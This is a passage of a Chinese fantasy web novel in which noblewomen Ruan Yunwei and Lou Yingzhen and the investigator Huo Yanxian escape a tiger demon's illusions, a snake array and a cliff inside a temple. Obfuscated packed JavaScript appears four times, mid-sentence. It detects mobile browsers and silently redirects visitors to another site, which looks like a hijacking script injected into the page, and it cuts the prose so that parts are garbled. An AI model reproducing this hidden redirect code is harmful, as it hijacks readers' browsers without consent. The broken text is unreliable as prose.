夜风拂过,他口中不断重复着这三个字,声线没有任何起伏,诡异而空洞,似羽毛一般轻飘飘在空中回荡,让人不寒而栗。 阮云薇和楼映真一对视,难得心有灵犀地互相挽着手,立刻坚定地向小男孩所指的相反方向狂奔起来。 但同时,她们也感觉到,周身有一股无形的力量,在阻止她们前进。 二人几乎变得寸步难行,但依旧在咬牙坚持。 她们不敢回头看,总觉得只要一回头,那个小男孩就可能会做出什么恐怖的事情,因为他还在坚持重复着那三个字:“快回去,快回去……” 声音如影随形,伴着耳畔撩拨的夜风,似乎他就贴在她们耳边低语一样。 她们的脚步不由得更加急促。 阮云薇早已抛开端庄的仪态,脚步踉跄,狼狈非常。 她不像楼映真有功夫底子,平日里鲜少这样疾奔,好几次险些绊倒,亏得楼映真在一旁将她稳稳托住:“姐姐莫怕,我们马上就要到了。” 阮云薇忽然想起小时候,二人晚上偷偷出去玩耍,摸黑回来时害怕被阿耶逮住责罚。 那时她心虚又怕黑,沿着院落偏僻又黑暗的廊道,走得磕磕绊绊,也是楼映真这样在旁边陪着她,安慰她说:“姐姐莫怕,我们马上就要到了。” 她看向楼映真的眼神有些许复杂,笼着袖中木盒的手松了一点。 正想着,她混乱的思绪被一个清脆的声音打断:“二位女施主,这么晚了,还没歇息吗?” 原来此时,二人已经跑到了一个配殿旁的小径,此处离客宿廊院应该已经不远了。 那里不知何时,站着一个巡夜的小沙弥。 他手中提着灯笼,薄雾之下,灯笼摇曳的烛火映在他脸上,发出暖黄的光,是楼映真和阮云薇今晚见到的除煜王之外唯一像正常活人的脸。 二人霎时间都松了一口气,忙问小沙弥:“小师父,我们想要回到客宿廊院,烦请带路。” 小沙弥做了个手势:“二位女施主请随我来。” 说罢,他便引着她们二人往客宿方向走。 楼映真拽了拽阮云薇,在小沙弥身后用口型无声地问:“姐姐,是这个方向吗?” 阮云薇点点头,这里太黑,具体地点她也有点拿不准,但大致应该就是这个方向。 月晕,风起,雾气越来越浓重。 终于到了,通往客房院落的大门紧紧闭着。 “这大门怎么锁了?可以劳烦小师父帮忙打开吗?”阮云薇问道。 “大门没有锁,二位女施主打开门即可回到客房。”小沙弥站定在原地,丝毫没有要上前替她们打开门的意思。 楼映真倒还好,阮云薇这一向前呼后拥出行的王妃却不适应了,非常后悔此行将婢女支开了。 但小沙弥只站在原地,幽深的瞳色中没有半点对权贵的惧色,也没有半点要上前帮忙开门的意思。 虽然阮云薇和楼映真都觉得这小沙弥真是一点不懂礼数,但刚才遇到的那个只剩骨头架子的小男孩实在太过恐怖,所以现在她们也不顾上什么礼貌不礼貌,只想赶紧回到房中。 于是,楼映真便上前打开门闩。 突然,阮云薇疑惑地问了一句:“这里……原来有门吗?” 楼映真听到这话,真是一股凉气直窜天灵盖,但为时已晚,她的手已经快过阮云薇的疑问一步,将门闩打开。 瞬间,一阵狂风呼啸而来,几乎将楼映真整个人掀翻在地。 她仗着几年练武的底子,才勉强一个后仰下桥撑地,没有倒下,但紧随狂风扑进来一道琥珀色的弧线,伴着低沉却令人毛骨悚然的咆哮。 那竟是一只吊睛白额大虫! 它的眼睛在月色下闪着凶狠残暴的光芒,锐利的爪牙在夜色中泛着寒光。 楼映真猝不及防,但习武的本能使她反应迅速,身体灵活一闪,堪堪躲过猛虎的突袭。 饶是她为了模仿阿水,也在山中猎过虎,但今遭这样突如其来的直面猛虎,也让她脸色惨白,惊出一身冷汗。 猛虎一个扑空,也不气馁,直接转身扑向阮云薇。 阮云薇这种手无缚鸡之力的弱女子如何抵挡得住,乍见猛虎冲自己扑来,惊骇得连躲都挪不动身子,甚至呼救都没来得及发出,便绝望地闭上了眼。 但预想中的死亡剧痛没有袭来,反而她被人撞开在地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“妹妹小心侧后!”阮云薇被撞倒在地,刚爬起站稳,便惊呼提醒楼映真。 猛虎再次作势向楼映真扑去,楼映真怀中的黄符狠狠发烫,她心知自己坚持不了多久,便用尽全身的力气猛踢虎妖。 她知道虎最脆弱的地方,一是眼睛,二是腹部,料想虎妖便也如此,可她一不会暗器,二手上无箭,只得狠狠踢向虎妖腹部。 但人的力量到底不如妖,更何况她也不是天赋异禀的练武奇才,只是一个普通身量的女子,虎妖受到这一踢,仅仅是稍向后退,但楼映真借势向后一跃,也争取了些时间。 “也算是仁至义尽了。” 楼映真怀中的黄符已经发烫到几乎将她灼伤的地步,她看着自己残破的衣袖,眼中划过一丝狠绝,转头奔向阮云薇。 虎妖也在喘息间调整好姿势继续向她们奔来。 阮云薇刚刚从生死关头楼映真舍身护她周全中,感到一丝动容。此刻却见楼映真向她奔来,眼神却变了。 她虽手无缚鸡之力,心思却玲珑透顶,哪里会不知楼映真的用意。 她也看明白了,这猛虎可能是精怪所化,她们中了这妖怪的圈套,其他人可能也全部遭了殃,没人能来救她们。 而楼映真身上不知为何有黄符,或可逃生,就算逃不出去也能拖延一段时间,但用什么来拖延呢? 只会是……用她! 51. 死局 阮云薇恨得咬牙切齿。楼映真那眼神虽稍纵即逝,却逃不过最会察言观色的阮云薇之眼,她这是想,借虎妖之手除掉自己! 转瞬,楼映真已奔至阮云薇身侧,作势将她拽起逃走,实则是将她推到自己身前,为自己抵挡片刻虎妖的扑袭。 阮云薇一只手死死拽住楼映真,一副非常害怕、只能依靠楼映真的样子,袖中木盒却已打开。 刚才一路上阮云薇几次心生动摇,而今却觉得自己太过可笑,怎么竟会好几次犹豫心软错过了下蛊的大好时机! 如今自己性命垂危,既无法看着煜王入主东宫,自己成为储妃,甚至看不到楼映真那贱.人的下场,只恨老天无眼! 袖中木盒已完全打开,一个浅银丝线忽闪一下,从木盒缝隙中跃出,隐没入楼映真的后颈。 与此同时,阮云薇被推向虎妖,眼神怨毒不甘,手死死拉住楼映真,势要拉上她一起垫背。 “退——” 千钧一发之际,一声娇叱从二人身后传来,那虎妖的狂扑之势竟硬生生被震退十尺。 阮云薇和楼映真只感到后心衣物被人大力抓住,然后被拖向旁边。 她们眼前一花,便看到一道琥珀色流光划过眼帘,向寺中藏经阁方向呼啸而去,身后缀这一个纤细的身影。 而她们二人劫后余生,惊魂甫定,定睛看去,才发现救她们之人竟然是—— “霍大人?”阮云薇和楼映真齐齐震惊。 十年前,霍彦先从将门世家贵公子一朝成为圣人破格御赐龙首金杖的绣衣察事司新锐苗子,那时候,她们就听说,这人表面看似君子,实则狠似蛇蝎。 霍彦先并未跟她们多做寒暄,只对二人低声说道: “煜王妃,楼娘子,妖物进入寺中作祟,跟紧我,我带你们到安全之地。” 不知为何,平日里常听霍彦先在绣衣察事司如何残忍嗜血,而如今看到眼前这人说话做事,却莫名让她们感到心中安定了不少。 但很快,她们就明白霍彦先这“沉命阎罗”是怎么来的了。 她们跟着霍彦先往大雄宝殿的方向走,但没过多久,便遇到了蛇阵。 这蛇阵是午后在寺庙后山所见的百倍之多,浓稠如墨的夜色下,仿佛所有的杂草全部化身吐信毒蛇,如潮水般铺天盖地向他们三人涌动过来。 太多了! 阮云薇被蛇阵吓得手脚冰凉、头皮发麻,生怕这些冰冷滑.腻的东西缠上自己。 她已经顾不上刚才和楼映真有生死恩怨,紧紧贴在她身侧。相比起对这些冷血毒物的厌恶和恐惧,虎妖都变得面目可爱起来。 楼映真也不遑多让,她午后是在煜王面前抓了毒蛇,但百倍数量的蛇阵在眼前缠绕、匍匐、蠕动,让她险些呕了出来,饶是前一刻还想让阮云薇去死,此刻也全然抛之脑后,两人紧紧依偎在一起。 而更可怕的是,令她们几乎昏厥的恐怖蛇阵,霍彦先好似熟视无睹,直直踏进去,将蛇群的注意全部吸引到自己身上。 霍彦先被蛇群围攻,缠住脚踝,寸步难行,却依旧任群蛇趴在他身上噬咬缠绕,他只挥起贯苍刀,左挑右砍,瞬间蛇群血肉横飞,他在其中一往无前。 看得阮云薇和楼映真目瞪口呆,一时间分辨不出到底是蛇群更骇人,还是这“沉命阎罗”更骇人。 片刻后,在她们惊骇的注视之下,霍彦先不仅没有死,反而是蛇群好似畏惧了他的贯苍刀一般,向两侧退去。 竟真给霍彦先劈出来一条路! “跟上我。”霍彦先脸上沾溅黏腻蛇血,面沉如水,转身眼神示意阮云薇和楼映真随他走。 两人大气不敢出,忙从群蛇让出的空隙小心翼翼穿行。 两侧全是厚厚的蛇尸,从尸体中不时钻出幸存蠕动的活蛇,怨毒地吐着信,却不敢越雷池半步,上前攻击他们。 “我们这是摆脱了妖物的阵法吗?”阮云薇一边走一边有气无力地问,这一晚上,她真的觉得已经够了,心中祈祷这噩梦般的夜晚赶紧结束。 而让她绝望的是,他们好似又回到了寺庙后山,一路向上攀行,月色暗淡,浓雾潮湿粘稠,转身一看,身后群蛇正虎视眈眈在不远处尾.随他们。 “不,它们是在逼我们上悬崖。”霍彦先冷静地说道。 阮云薇:“……” 四周没有退路,三人只能硬着头皮往山上走。 “啊——”阮云薇突然被向后猛地一扯。 “姐姐小心,看清脚下!” 她听到楼映真在旁边语气不善地“好心提醒”,才发现原来面前的浓雾之下,竟然是悬崖。 自己差一点就掉下了眼前的悬崖,还好她死死拽住了楼映真,后者为了保命,不被她殃及,才“好意”出言提醒并把她拽回来。 在霍彦先面前,两人都收敛了许多,争斗也仅限眼神和言语。 而霍彦先对她们话中的暗流涌动充耳不闻,只将两人让进了一旁山巅赏景的凉亭。 凉亭被浓雾笼罩,一片诡谲漆黑,刚才阮云薇只顾低头看路,竟没察觉到它的所在。 这是整个寺庙的最高处,也就是午后众人结伴想去欣赏绝妙风景之地。 此刻,却成了他们的绝路。 霍彦先面容严肃地看着悬崖,旋即转身向后。 残存的蛇阵依旧数量庞大,从山下一路匍匐向他们逼近,厚厚的几层,筑成了蛇堤,数以百计的幽绿眸子中满是将他们“逼上梁山”般的得逞恶意。 霍彦先感到一阵眩晕,海量的蛇毒在他体内乱窜,握着贯苍刀的虎口已经灼烧发黑,那是阿婵给他的护身符。 “她的确有点东西。”霍彦先心中暗自感叹。 这些银斑环蛇是剧毒,随便咬上一口都能直接见阎王。如今他在蛇群穿行砍杀,腿上身上被咬了大大小小百来个洞,阎王见了他都得同情地让他在投胎队伍里往前插个队。 但阿婵这几张符箓居然让他现在还能爬到山顶看风景,实力确实不容小觑。 但随后他心中也不禁发出疑问,不知道这几张护身符能不能再护佑他在蛇阵中斩杀一次? 主要是,怎么感觉眼前的蛇阵,如烧不尽的原上之草,甚至死而复生成了之前的两倍数量还要多? 若他再砍杀一次,蛇群再重生,就冲这蛇群子子孙孙无穷匮也的劲头,怕是阿婵再给他三千张黄符摞成的砖头往蛇阵里扔,也破不了这妖物的阵法。 也不知阿婵追着那虎妖而去,现在战况如何了…… 忽然山体耸动,阮云薇和楼映真在亭中几乎站立不稳。 山间石阶断裂,好似古树气根从地下拱出,二人抱住亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虎妖不知为何能突破结界进入寺中,它用障眼法四处分身,杀害了很多人。方丈和寺中一众高僧合力施法,拼死杀出一条路,才勉强将煜王和一众贵女夫人护送到大雄宝殿。 只是方丈和高僧如今也性命垂危,不知他们在大雄宝殿设下的结界能抵抗虎妖多久。 煜王清点完人数,发现王妃、楼映真、霍彦先三人不见了,便用方丈给的护身符,带着两个侍卫赶紧过来找,一路找到这里,途中发现不止是虎妖,还有群蛇也趁乱出来作怪。 原来楼映真和阮云薇遇到的只是虎妖的障眼法分身,比本尊道行低得多,怪不得能纠缠一阵。 霍彦先不禁又担心起阿婵,她知道那是虎妖的障眼法分身吗? 煜王道:“我现在就想办法让你们过来,然后带你们回大雄宝殿。阿水……不,映真、云薇,你们别害怕……” 阮云薇听到煜王每次开口都将楼映真放在她面前,心中极度恼怒,但此时此刻也不能发作,只得将这口气咽下肚子里,非常识大体地和楼映真一起点头应和。 霍彦先观察着裂缝四周,断裂面五丈有余,下面还潜伏着巨蟒和蛇阵,随时上来吃人,光凭他的轻功,也很难一次将煜王妃和楼娘子两个人安全送到对岸。 眼下只有将他和煜王两边的古木分别砍倒,横在裂缝前,缩短两端的距离,到时候他再借力用轻功,应该就可以成功越过去。 于是,霍彦先、煜王和侍卫二话不说,马上开始用刀剑砍伐古木。 可邪门的是,几个人砍得额头冒汗虎口发麻,周遭这些粗壮的古木竟连个缺口也没砍出来。 霍彦先的贯苍刀砍到树干之上,竟有一种砍击金石之感,直冒火星。 他只得喊停,“这恐怕又是妖物所施的术法,为的就是将我们困死在这里。” 52. 筹码二选一 阮云薇和楼映真初时以为有救了,结果没想到连霍彦先都说出这种话,那可能真的是要被困死在这里了。 煜王累得满头大汗,颓然道:“难道就没有别的办法了吗?” 只见霍彦先将一块石头抛入裂缝,瞬间无数条蛇涌上来,以为有食物,纷纷上来争夺,而巨蟒粗暴地将所有小蛇全部拱开夺食,但随即发现被骗,又重新落回裂缝之中。 巨蟒身躯异常庞大,这一落下,两边的山体又重重地晃了两晃。 众人看得胆战心惊。 “霍大人可有别的办法?”煜王见他这样,以为他有新的想法。 “用人。”霍彦先语气淡淡,但眼中嗜血的本性显露无疑。 此言一出,众人皆惊。 只见霍彦先看向煜王身边那两个侍卫,很明显,是要他们做垫背的。 煜王瞬间明白了霍彦先的想法。 他是想让侍卫跳崖,借众蛇上来夺食的一瞬,用群蛇或者巨蟒的拱形身躯当做空中的脚踏支点,这样的距离,应该可以用轻功将阮云薇和楼映真带过来。 只不过,这需要极好的轻功、超强的胆量、冷静地把控时机,算准力道,在场只有霍彦先有这样的功力和头脑。 “这样不会被蛇咬到吗?”阮云薇问。 霍彦先盯着裂缝:“总比在这儿等死强吧。” 但还有一个问题,这里只有两个侍卫。 霍彦先显然没办法同时带两个成年女子一起越过去,那太重了,蛇涌上来可以借的力没那么大。 但如果每次只能用轻功带一人过去,第一次,需要一名侍卫垫背。 霍彦先还得再次返回来,再将另一人带过去,则又需要一名侍卫垫背。 但两个侍卫肯定没命生还,那霍彦先第二次带人越过去,就还缺一个垫背的,总不能让煜王去当这个脚踏板。 煜王很清楚,阮云薇和楼映真心思玲珑,又哪会看不明白。 心中刚燃起希望,瞬间又遭打击。 现在的情况是,只能有一个人跟霍彦先过去,怎么选? 煜王看着对面的阮云薇和楼映真。 一个是自己的王妃,一个是自己魂牵梦绕的救命恩人。 身前是裂缝巨蟒,身后是悬崖。 怎么选? 而煜王身边的那两个侍卫,心中更是绝望。 他们早就听闻绣衣察事司的霍彦先是个视人命为草芥的沉命阎罗,为了达成目的可以不择手段! 如今见他把叫他们去送死说得那样云淡风轻,果然没冤枉他! 但他们若拒绝霍彦先的要求,想必结局一样是死。 刚从大雄宝殿护送煜王杀出一条血路的侍卫,心死如灰。 一时间,只剩静默。 “谁先来?”霍彦先出声问道。 这话既是在问两个侍卫,也是在问楼映真和阮云薇,更是在问煜王该如何选择。 没有人回答,死一般的寂静。 霍彦先看向阮云薇。 煜王急忙说:“霍大人,映真是我的救命恩人,请你势必要护她周全。” 连装都不装了!阮云薇听到这话,差点吐血,可立马泪眼朦胧地说: “殿下说的是,霍大人,你一定要护映真妹妹周全。待我死后,烦请你回去跟阮贵妃也就是我的姑母说,云薇不孝,再也不能进宫陪伴她了。” 煜王舍得阮云薇,却舍不得能给圣人吹枕边风的阮贵妃的势力,闻言又对霍彦先说:“霍大人,云薇是王妃,也是皇室的一员,万望护她们二人周全。” 没用的废话。 “决定好了告诉我。”霍彦先自是不会替他们做抉择,让他们自己纠结去。 此时,他感觉到自己身上最后一张阿婵给的符箓已经滚烫。 他走到裂缝边缘,看看两个侍卫,又将石子丢下山崖。 再一次,群蛇骚动。 那两个侍卫看到无数细小毒蛇缠绕在巨蟒之上,再次跃上来哄抢食物,已然面如死灰,双股战战,只求一会儿被扔下去之后,能快点死掉,不然不知道会有多么痛苦! 霍彦先则面无表情地看着巨蟒和群蛇,心中测算一会儿越过去需要的距离和力道。 煜王、阮云薇、楼映真还在用眼神无声纠结拉扯,听到动静,纷纷转头看向霍彦先。 只见,他脸色骤变,面上出现了他们前所未见的暴虐神色。 此刻,霍彦先眼前的巨蟒幻化成了一个人。 那竟是曾经和他一起上马共同杀敌,下马把酒言欢的杜时衡! 杜时衡披头散发,笑着走上前来问他:“你是不是很喜欢看到同袍尸横遍野、血肉模糊的样子?当年朔勒一战,你用假情报害我战死沙场……” 杜时衡一把将胸.前的盔甲拽开,露出被扎成筛子的胸膛和血淋淋的心脏肺腑。 群蛇突然变成了和杜时衡一同浴血奋战、战死沙场的将士,他们也用同样的动作,将盔甲拽开,露出千疮百孔的血肉。 十年前,朔勒一战,杜时衡带领的大桓精锐全军覆没。 朝堂之上风言风语,传言霍彦先情报不利导致杜时衡领兵中了埋伏。 霍彦先什么都没有说,因为他拿了圣人御赐的龙首金杖,秘密前往战场,替好兄弟收尸。 因为被整个大桓讨伐的罪人杜时衡,其实还有一个身份,便是嘉善皇后的侄儿。 圣人念他是皇后家族的血脉,还是秘密派遣霍彦先去将尸首运送回来安葬,这件事不能为任何人知道。 霍彦先化身商人,带了几百张草席,亲自与朔勒方秘密谈判,用十万两金换回了杜时衡和战死将士的尸首。 几百人的尸体,全部都是大桓军中精锐。圣人不许别人插手,霍彦先一人独自处理。 这是他被圣人选中进入绣衣察事司之后,首次破格以职级很低的绣衣暗侯身份获得至高无上的龙首金杖,代表圣人秘密执行任务,这是史无前例的荣耀。 可没想到,是去给杜时衡收尸。 他花了很久的时间,将这几百具血肉模糊、腐烂生蛆、部分烧成焦炭的将士一一收敛。 因不能大张旗鼓,他只能按照圣人要求,在与朔勒接壤的堑金山脚下,一处荒无人烟的地方,将他们秘密下葬。 当地绣衣察事司的人被征调过去帮他运送“货物”,龙首金杖一出,没人敢问那一车车被草席包裹得严严实实的“货物”到底是什么。 下葬前,他将几百名将士身上插着的刀箭拔出,尽量将断肢残臂拼凑成全尸,将掀翻在外的肠子塞进腹中。每一个人的尸首,他都处理得很仔细。 杜时衡战败,身首分离,是他亲自从朔勒将军手中接过他的首级。 霍彦先一边将杜时衡的头接回身体,一边不断怀疑自己,到底是不是自己的情报真的出现了错误? 腐烂的尸体、肆无忌惮到处乱钻的蛆虫,浓重的尸臭,霍彦先被包围其中,不分昼夜地掘土、掩埋,他不允许自己休息,只有累晕过去时和尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080332|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡在一起。 一个月后,当霍彦先重新回到朝堂中,每个遇到他的朝臣乍一见他都会倒吸两口凉气—— 怎么一个月不见,这人竟像刚从地狱走了一遭一样,瘦到脱相,看人的目光锋利得似要将人一刀一刀剜皮剔骨? 朝臣愈发觉是霍彦先受不了错误情报的良心谴责,故意躲了出去,因此性情大变。 但圣人完全不顾朝野四起的流言,擢升二十岁的霍彦先为绣衣监侯,这是绣衣察事司有史以来最快的升迁,甚至连绣衣总察事都觉得不可思议。 而流言愈发凶猛,说他是为了上位才故意提供错误情报,完全罔顾逻辑。 而后的十年,霍彦先沉默寡言,神出鬼没,日夜办案,许多风头正盛的朝臣因为他一.夜之间锒铛入狱,满门抄斩,许多已退休致仕的老臣因为他不得善终。 他从鲜衣怒马风度翩翩的将门霍氏五公子,渐渐变成了朝臣口中闻之变色的“沉命阎罗”,成为绣衣察事司史上最年轻的绣衣副察事。 很久没有人敢在他面前放肆说笑,哪怕是朝中老臣,也对他敬而远之。 而眼前,这个披头散发的杜时衡,正笑着对霍彦先说: “好兄弟,我们约定,要彼此为对方做助力,要驰骋疆场,要马上封侯,要权倾天下。 霍五郎,好兄弟,不愧是你,不过进入绣衣察事司几个月,就踩着我们几百人的尸骨血肉,拿到了龙首金杖,成为圣人心腹。 如今,你得再狠一点,才能更上一层楼!” 杜时衡凌乱不堪的发丝被鲜血黏在脸上,扯出僵硬扭曲的大笑,浑似错位的木偶人,嘶哑的声音从他错位的脖颈中挤出: “煜王手中不是有你需要的情报嘛,万一他真的包藏祸心,你正好可助圣人平乱,或者,你也可全力拥护煜王登基……” 杜时衡笑得越发阴狠: “一边是圣人,一边是未来圣人,以你的手段和魄力,他们的未来如何定夺,还不全在你一念之间? 现在获取情报的好时机来了,左边是王妃,右边是红颜,你手中有足足两个筹码! 只要拿到情报,无论你怎么选,都是平云直上,啧啧啧,真羡慕你,到时候就算是绣衣总察事,也会被你踩在脚下……那两个侍卫、几条无辜的人命在你眼中算什么?几百条不也都死了?你得再狠一点!” “不要……再说了……”霍彦先额头青筋暴起,眼中全是猩红,握着贯苍刀的手恨不能将刀柄捏碎。 “怎么了?我说错了嘛?你得再狠一点!”杜时衡嘶吼着向他逼近。 霍彦先的忍耐已到极限,周身杀意喷薄而出,下一刻,他举起贯苍刀,用尽全身内力向面前的好友劈去! 顷刻间,杜时衡消失,眼前是溢着浑浊黏液的一双黄眸,巨蟒正吐着血红的信子,张开血盆大口向霍彦先挑衅。 阮云薇和楼映真同时打了个寒颤,因为霍彦先忽然转头看向她们,眼中是无尽的暴虐杀.戮之意。 “现在获取情报的好时机来了,左边是王妃,右边是红颜,你手中有足足两个筹码!”霍彦先耳边一直回响着这句话。 阮、楼二人眼见霍彦先提着刀,慢慢向她们走来。 煜王也看出他整个人都很不对劲,不由得大喊:“霍大人!你怎么了?霍彦先!你要做什么!” “啊啊啊啊——” 一阵天旋地转,阮云薇和楼映真只觉眼前一花,二人竟同时被霍彦先拽住,三人一起跃下裂缝,跳入巨蟒口中! 53. 遇神杀神,遇佛杀佛! 那一瞬,巨蟒的黄.色双眸犀利怨毒得似一片刀山,要将他们三人千刀万剐。 被霍彦先硬拉着往下跳的阮云薇和楼映真惊恐万状,绝望地闭上了眼睛。 但预想中的痛苦没有袭来。 下一刻,二人便感觉自己掉到了一团柔软的东西上面。 她们睁开眼睛,定睛一看,竟然是大殿中打坐用的黄.色蒲团! ??? 这到底是怎么回事? 二人向四周望去,这熟悉的佛像和大殿,原来这里竟然是大雄宝殿! 霍彦先那边没有蒲团,直接掉到了地上,幸好他身手敏捷,就地一滚便稳住了身形。 他双眼通红,真像经历了刀山火海的熬煎一般痛苦疲惫,令人看着揪心。 心中仍有余悸,霍彦先心下感叹,还好听从了阿婵的话,硬撑着破了幻境。 原来从阿婵给他抬手指月亮、塞给他护身符开始,他便已心中有数,应该是有什么妖物出没了。 直到遇到那个一直对阮云薇和楼映真说“快回去”的小男孩之后,阿婵又在身侧戳了戳他,在他的掌心写下“幻境”二字。 霍彦先不明所以,但阿婵的眼神表明一切来不及解释,随后又塞给他一些符箓。 这下情况似乎变得更严重了。 当阮云薇和楼映真被小男孩惊吓得只顾狂奔之时,阿婵附在霍彦先耳边非常轻地说: “寺庙布局你记得吧,一会儿不管遇到什么,直接去大雄宝殿!守住本心,遇神杀神,遇佛杀佛!” 虽然有很多东西想不明白,但情况危急,霍彦先也不可能真让阿婵一一给他解释清楚再行动。 经历了仙昙村和富州城两次联手的经历,霍彦先已经对这种感觉非常熟悉,他知道阿婵不是在开玩笑。 当下他便点点头,也不多问,拿了符箓,做好准备,果不其然,虎妖闯进来,阿婵引开虎妖,他便趁机带阮云薇和楼映真一路前往大雄宝殿。 路上先是遇到蛇阵,霍彦先这种死人堆里摸爬滚打的人自然是不怕蛇的。整个寺庙的地图已经深深刻在他脑海里,只要不被蛇咬死,肯定能走到大雄宝殿。 趟过了蛇阵,本以为出了幻境,直到巨蟒出现,化作杜时衡的样子出现在他眼前。 第一眼,霍彦先便心知那绝不是杜时衡。 直到杜时衡说出那些话、做出那样的表情,他便更为确定,因为他十分清楚,真正的杜时衡是不可能跟他那样说话的。 但不知为何,杜时衡出来的一刹那,霍彦先甚至希望他不要消失,哪怕言语之间字字句句对他攻心,哪怕他是真的恨他,霍彦先也还是希望能够再多听一听杜时衡对他说话,好过身首异处,永远长眠在西北。 毕竟,霍彦先年少时期曾一度阴郁非常,没有任何朋友,只有杜时衡同他说话,一起喝酒,那时候杜时衡也郁郁不得志,两人甚至有种同病相怜,相见恨晚的感觉。也是那个时候,杜时衡对他说,以后他们二人一定要互相帮衬,凭他们二人的头脑和身手,一定可以出人头地,建功立业。 那时大桓战火不断,二人也约定,无论建什么功立什么业,一定要以为国为民、保家卫国为底线。 就凭这一句,杜时衡绝对不可能说出要他踩着自己不择手段往上爬的话来。 杜时衡说话时,霍彦先握紧贯苍刀,将刀尖戳进脚背,痛楚袭来,他强迫自己清醒。 凡人要抵抗妖物设下的心魔,果然很难。但霍彦先知道,这样沉.沦在幻境中是没有用的,杜时衡已经死了,是他亲自将身首分离的他拼凑起来下葬,总不能一辈子走不出来。 因此,他用刀劈向杜时衡,实则是劈向巨蟒。他十分确定寺庙的布局,这个位置,只要再往前走一步,就是大雄宝殿的后门。 就像阿婵说的,守住本心,遇神杀神,遇佛杀佛! 无论前面是刀山火海,跳就是了。 于是,霍彦先毫不犹豫地拉着阮云薇和楼映真跳下裂缝,果然冲破幻境,进入了大雄宝殿中。 *** “云薇、映真、霍大人!” 煜王听到声响后,从大殿前面绕过佛像,朝他们走来,身后还跟着一众夫人贵女。 阮云薇和楼映真还在惊疑不定,刚才的经历实在太过真实,但看向四周,大殿也很真实,一时间不由得有点发懵,不知道什么能相信,什么不能相信。 二人回头看霍彦先。 霍彦先道:“我们已经冲破了幻境,这回不用担心了。” 她们这才有了实感,被众人簇拥着哭作一团。 楼映真扶住后颈,刚才从蒲团上站起的一瞬觉得有些眩晕,好像自己也没受伤,但不知道为何,就是觉得后颈处不舒服。 “映真,你怎么了?” 煜王见到阮云薇和楼映真两个回来,忙对她们嘘寒问暖,虽然碍于众人在侧,一直在关切阮云薇,但眼神还是紧紧盯着楼映真的一举一动,见她这个样子,还是忍不住出言询问。 “多谢殿下关心,没什么大碍,可能是刚才跌倒时扭到了脖颈。” “快到前面休息一下。”煜王扶住她。 后面,被一众夫人贵女簇拥着的阮云薇暗暗咬牙,但也起身道:“劳烦大家担心,都去大殿前面休息吧。” 霍彦先跟他们保持安全距离,尽量不掺进这三人的纠葛之中。他找到霍夫人,关切地问:“母亲,你没事吧?” “放心,大殿中是安全的,方丈和一众高僧舍身救了我们,设下结界,如今那些妖物是进不来的。只是他们,哎……”霍夫人叹气,愁眉不展。 众人绕过佛像回到殿前,霍彦先看到地上躺着方丈成智大师以及数名高僧、数十名沙弥,他们面色发青、双目紧闭,周身是血,似是受了重伤,状况非常惨烈。 这一点,刚才遇到的巨蟒幻境中,那妖物幻化的煜王也讲过,想必方丈等人的伤,就是妖物造成的。 此时真正的煜王道:“方丈和高僧们拼死将虎妖和虎伥拦在大殿外,这才给了我们一线生机,现在只求虎妖不要破了大殿的结界。” 霍彦先走到门口,看到窗外,有很多人在大殿外面“行走”。 说是行走,其实是像僵尸一样,一步一步非常僵硬地挪动,根本不似活人。 “大师说,这是虎伥,虎妖杀人之后,这些人的魂魄尸体会被虎妖所利用,变成唯他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083799|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马首是瞻的伥鬼,虎妖能够进入寺中,就是靠这些伥鬼的帮助。”煜王解释道。 阮云薇和楼映真也看向窗外,众多“僵尸”令她们非常惊恐。 “那不是!那个小沙弥!” 而更惊恐的是,她们看到了之前遇到的那个不肯给她们开门,虎妖袭击她们时却自顾自扫地的小沙弥。 只见那小沙弥背对着她们,还在拿着扫帚扫地,虽然地上什么都没有,他还是依旧非常认真地、麻木地在扫地。 如若只是这样,倒也没什么,但诡异的是,他整个人虽然是背对着她们的,但脚尖却冲着她们! 他的双脚已被血水浸.透,脚尖和脚跟好像是非常生硬地被扭断,整个人虽然朝着寺庙门口的方向,但她们看到,他的脚尖还是想要往大雄宝殿的方向走。 那种感觉就好像是被鬼附身,又像是被鬼拽住了双脚,阮云薇和楼映真瞬间毛骨悚然。 “这就是虎伥,已经死了。”仅存的一位受伤不严重的高僧过来告诉她们,“结界从外面攻不破,所以这些虎伥便引诱活人自行将结界打开,好让虎妖进入寺中。” “死、死了?”阮云薇花容失色,所以刚刚,她们是在跟死人对话?果然上了虎伥的当! “那是什么?”霍彦先问高僧。 只见大雄宝殿前有一面影壁,不断有石头越过影壁上方掉落进来。 “那是外面的虎伥在敲门。” “敲门?” 高僧点点头:“引诱寺中的人听到动静出去,如果被虎伥勾了心智,便也会化作虎伥,给虎妖开门,方便它进入寺庙作祟。” 霍彦先思忖,如此看来,这虎妖早就豢养了很多虎伥,企图进入寺庙。 